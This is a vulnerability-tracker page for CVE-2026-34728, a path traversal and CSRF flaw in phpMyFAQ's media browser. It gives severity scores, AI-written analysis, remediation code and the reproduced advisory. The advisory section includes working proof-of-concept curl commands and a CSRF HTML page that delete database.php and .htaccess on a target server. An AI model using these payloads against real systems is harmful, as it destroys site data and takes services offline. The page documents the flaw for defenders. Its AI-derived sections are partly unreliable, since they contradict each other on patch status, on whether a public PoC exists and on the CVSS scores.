Skip to main content

PHP CVE-2026-34728

| EUVDEUVD-2026-18258 HIGH
Path Traversal (CWE-22)
2026-04-01 https://github.com/thorsten/phpMyFAQ GHSA-38m8-xrfj-v38x
8.1
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft CSRF payload with path traversal payload
  2. Delivery
    Trick authenticated user into visiting malicious link
  3. Exploit
    Submit fileRemove request with ../ sequences
  4. Execution
    Bypass sanitization filter
  5. Impact
    Delete arbitrary files outside upload directory

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Authenticated user (PR:L) must visit attacker-controlled page; target application must have MediaBrowserController with fileRemove action enabled; CSRF token validation absent on fileRemove endpoint; FILTER_SANITIZE_SPECIAL_CHARS applied to name parameter without path traversal validation.

Impact

Real-world risk is significant despite requiring authentication. The CVSS vector (AV:N/AC:L/PR:L/UI:R/S:C) indicates network-accessible attacks with low complexity requiring only low-privilege credentials and minimal user interaction, resulting in high integrity and availability impact with scope change. The 8.7 CVSS score accurately reflects severity. The CSRF dimension critically elevates risk because admin sessions can be weaponized through social engineering (phishing emails, watering hole attacks) without requiring direct credential compromise. The POC demonstrates practical exploitability targeting high-value files: database.php deletion causes total application failure, while .htaccess deletion exposes sensitive directories. Attack automation is feasible given low complexity (AC:L) and straightforward path traversal exploitation. The scope change (S:C) indicates impact beyond the vulnerable component itself, as filesystem access enables lateral movement and persistent compromise. While no EPSS data or CISA KEV listing is provided, the GitHub advisory publication and functional POC suggest threat actors have sufficient information to develop reliable exploits. Priority should be elevated for phpMyFAQ installations with internet-facing admin panels, particularly multi-tenant environments where scope change implications are magnified. The vulnerability's combination of path traversal and CSRF represents compound risk exceeding either vulnerability class individually.

Exploit ScenarioDerived

An attacker identifies a phpMyFAQ installation with an internet-facing admin panel and conducts reconnaissance to confirm the vulnerable MediaBrowserController endpoint is accessible. The attacker crafts a phishing email to the site administrator containing a link to an attacker-controlled page hosting malicious JavaScript. When the administrator clicks the link while authenticated to the phpMyFAQ admin panel, the embedded fetch() request executes in the victim's browser context with their session cookies automatically included via credentials: include. The malicious request targets the media-browser endpoint with a JSON payload specifying action: fileRemove and name: ../../../content/core/config/database.php. Because the endpoint lacks CSRF token validation and improperly sanitizes the filename, the server resolves the path to the database configuration file and executes unlink(), immediately severing the application's database connection. The site becomes unavailable to all users, and the administrator may not immediately associate the outage with clicking the phishing link. The attacker could alternatively delete .htaccess to expose sensitive directories, then exfiltrate configuration files containing credentials for lateral movement to the database server or cloud infrastructure. Publicly available exploit code exists in the form of the disclosed POC, reducing the technical barrier for exploitation.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 01, 2026

Path traversal and CSRF vulnerability in phpMyFAQ's MediaBrowserController enables remote deletion of critical server files. Authenticated admin accounts can be exploited via CSRF to delete arbitrary files including database configurations, .htaccess files, and application code. GitHub advisory confirms the vulnerability with POC demonstration. Attack requires low-privilege authentication (PR:L) but succeeds with minimal user interaction (UI:R), achieving high integrity and availability impact w

Earlier versions of this analysis (1)
v1 Apr 01, 2026 - 23:16 CVSS 8.7

Path traversal and CSRF vulnerability in phpMyFAQ's MediaBrowserController enables remote deletion of critical server files. Authenticated admin accounts can be exploited via CSRF to delete arbitrary files including database configurations, .htaccess files, and application code. GitHub advisory confirms the vulnerability with POC demonstration. Attack requires low-privilege authentication (PR:L) but succeeds with minimal user interaction (UI:R), achieving high integrity and availability impact with scope change (S:C). No public exploit identified at time of analysis beyond the disclosed POC, and patch availability not confirmed from available data.

RemediationAI

Organizations running phpMyFAQ should immediately consult the GitHub security advisory at https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-38m8-xrfj-v38x for official patch guidance, though released patched version is not independently confirmed from provided data. Interim mitigations include implementing web application firewall rules to block requests to /admin/api/media-browser containing directory traversal patterns (../, %2e%2e%2f, URL-encoded variants), restricting admin panel access to trusted IP addresses via firewall or reverse proxy rules, and enforcing HTTP Referer header validation to mitigate CSRF (noting this is bypassable and not a complete solution). Code-level remediation requires three coordinated fixes as detailed in the vulnerability disclosure: first, wrap the filename parameter with basename() and validate resolved paths using realpath() with strict prefix matching against the allowed directory boundary; second, integrate Token::getInstance()->verifyToken() to enforce CSRF protection consistent with other admin endpoints; third, change the route HTTP method from GET to POST or DELETE to align with RFC 7231 semantics and enable proper CSRF defenses. Review logs for suspicious deletion patterns targeting configuration files (database.php, config files) or .htaccess modifications. Verify integrity of critical system files and restore from known-good backups if compromise is suspected.

Affected VersionsENISA

phpMyFAQ < 4.1.1

Affected Packages

composer phpmyfaq/phpmyfaq fix: 4.1.1
euvd phpmyfaq fix: 4.1.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in phpMyFAQ's media browser API endpoint (MediaBrowserController.php) which implements file deletion functionality. The endpoint misuses PHP's FILTER_SANITIZE_SPECIAL_CHARS filter, which only encodes HTML entities and low ASCII characters but explicitly does not prevent directory traversal sequences like '../'. The code concatenates user input directly with the base upload directory path without invoking basename() to strip directory components or realpath() with boundary validation to ensure resolved paths remain within intended directories. This represents a textbook CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) implementation flaw. Compounding the issue, the route is defined with HTTP GET method but reads request body content, creating semantic confusion that bypasses typical GET-only CSRF protections. The endpoint lacks CSRF token validation via Token::verifyToken(), contrasting with other controllers in the same codebase (ImageController, FilesystemStorage) that properly implement path normalization and token verification. The CPE identifier pkg:composer/phpmyfaq_phpmyfaq indicates this affects the Composer-distributed package of phpMyFAQ.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 8.1 HIGH
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

Lifecycle Timeline

3
CVSS changed
Oct 26, 2026 - 22:24 NVD
8.7 (HIGH) 8.1 (HIGH)
Patch released
Apr 02, 2026 - 02:30 nvd
Patch available
CVE Published
Apr 01, 2026 - 22:30 nvd
HIGH 8.7

DescriptionNVD

Summary

The MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (&, ', ", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.

Details

Affected File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php

Lines 43-66:

php
#[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])]
public function index(Request $request): JsonResponse|Response
{
    $this->userHasPermission(PermissionType::FAQ_EDIT);
    // ...
    $data = json_decode($request->getContent());
    $action = Filter::filterVar($data->action, FILTER_SANITIZE_SPECIAL_CHARS);

    if ($action === 'fileRemove') {
        $file = Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS);
        $file = PMF_CONTENT_DIR . '/user/images/' . $file;

        if (file_exists($file)) {
            unlink($file);
        }
        // Returns success without checking if deletion was within intended directory
    }
}

Root Causes:

  1. No path traversal prevention: FILTER_SANITIZE_SPECIAL_CHARS does not remove or encode ../ sequences. It only encodes HTML special characters.
  2. No CSRF protection: The endpoint does not call Token::verifyToken(). Compare with ImageController::upload() which validates CSRF tokens at line 48.
  3. No basename() or realpath() validation: The code does not use basename() to strip directory components or realpath() to verify the resolved path stays within the intended directory.
  4. HTTP method mismatch: The route is defined as methods: ['GET'] but reads the request body via $request->getContent(). This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.

Comparison with secure implementation in the same codebase:

The ImageController::upload() method (same directory) properly validates file names:

php
if (preg_match("/([^\w\s\d\-_~,;:\[\]\(\).])|([\.]{2,})/", (string) $file->getClientOriginalName())) {
    // Rejects files with path traversal sequences
}

The FilesystemStorage::normalizePath() method also properly validates paths:

php
foreach ($segments as $segment) {
    if ($segment === '..' || $segment === '') {
        throw new StorageException('Invalid storage path.');
    }
}

PoC

Direct exploitation (requires authenticated admin session):

bash
# Delete the database configuration file
curl -X GET 'https://target.example.com/admin/api/media-browser' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: PHPSESSID=valid_admin_session' \
  -d '{"action":"fileRemove","name":"../../../content/core/config/database.php"}'
# Delete the .htaccess file to disable Apache security rules
curl -X GET 'https://target.example.com/admin/api/media-browser' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: PHPSESSID=valid_admin_session' \
  -d '{"action":"fileRemove","name":"../../../.htaccess"}'

CSRF exploitation (attacker hosts this HTML page):

html
<html>
<body>
<script>
fetch('https://target.example.com/admin/api/media-browser', {
  method: 'GET',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    action: 'fileRemove',
    name: '../../../content/core/config/database.php'
  }),
  credentials: 'include'
});
</script>
</body>
</html>

When an authenticated admin visits the attacker's page, the database configuration file (database.php) is deleted, effectively taking down the application.

Impact

  • Server compromise: Deleting content/core/config/database.php causes total application failure (database connection loss).
  • Security bypass: Deleting .htaccess or web.config can expose sensitive directories and files.
  • Data loss: Arbitrary file deletion on the server filesystem.
  • Chained attacks: Deleting log files to cover tracks, or deleting security configuration files to weaken other protections.

Remediation

  1. Add path traversal validation:
php
if ($action === 'fileRemove') {
    $file = basename(Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS));
    $targetPath = realpath(PMF_CONTENT_DIR . '/user/images/' . $file);
    $allowedDir = realpath(PMF_CONTENT_DIR . '/user/images');

    if ($targetPath === false || !str_starts_with($targetPath, $allowedDir . DIRECTORY_SEPARATOR)) {
        return $this->json(['error' => 'Invalid file path'], Response::HTTP_BAD_REQUEST);
    }

    if (file_exists($targetPath)) {
        unlink($targetPath);
    }
}
  1. Add CSRF protection:
php
if (!Token::getInstance($this->session)->verifyToken('pmf-csrf-token', $request->query->get('csrf'))) {
    return $this->json(['error' => 'Invalid CSRF token'], Response::HTTP_UNAUTHORIZED);
}
  1. Change HTTP method to POST or DELETE to align with proper HTTP semantics.

Executive ViewAI

Why It Matters

CVE-2026-34728 affects phpMyFAQ's MediaBrowserController, allowing authenticated administrators to be tricked via CSRF into deleting critical server files including databases and application code, with potential for complete service disruption. Organizations running vulnerable phpMyFAQ instances face immediate risk of data loss and operational outage if admin accounts are targeted. Leadership should treat this as a priority remediation item given the high severity rating and confirmed proof-of-concept.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Implement CSRF token validation at reverse proxy/WAF level for admin panel requests; (2) Restrict MediaBrowserController access via URL filtering; (3) Enforce multi-factor authentication on all phpMyFAQ admin accounts; (4) Apply principle of least privilege-run phpMyFAQ process with read-only file permissions where possible; (5) Enable file integrity monitoring on critical configuration files (.htaccess, database configs); (6) Isolate phpMyFAQ instances from production database servers at network layer. Actively monitor vendor channels for patch release.

Threat Intelligence Overview

EPSS Score
0.2%
Top 59% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

40
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy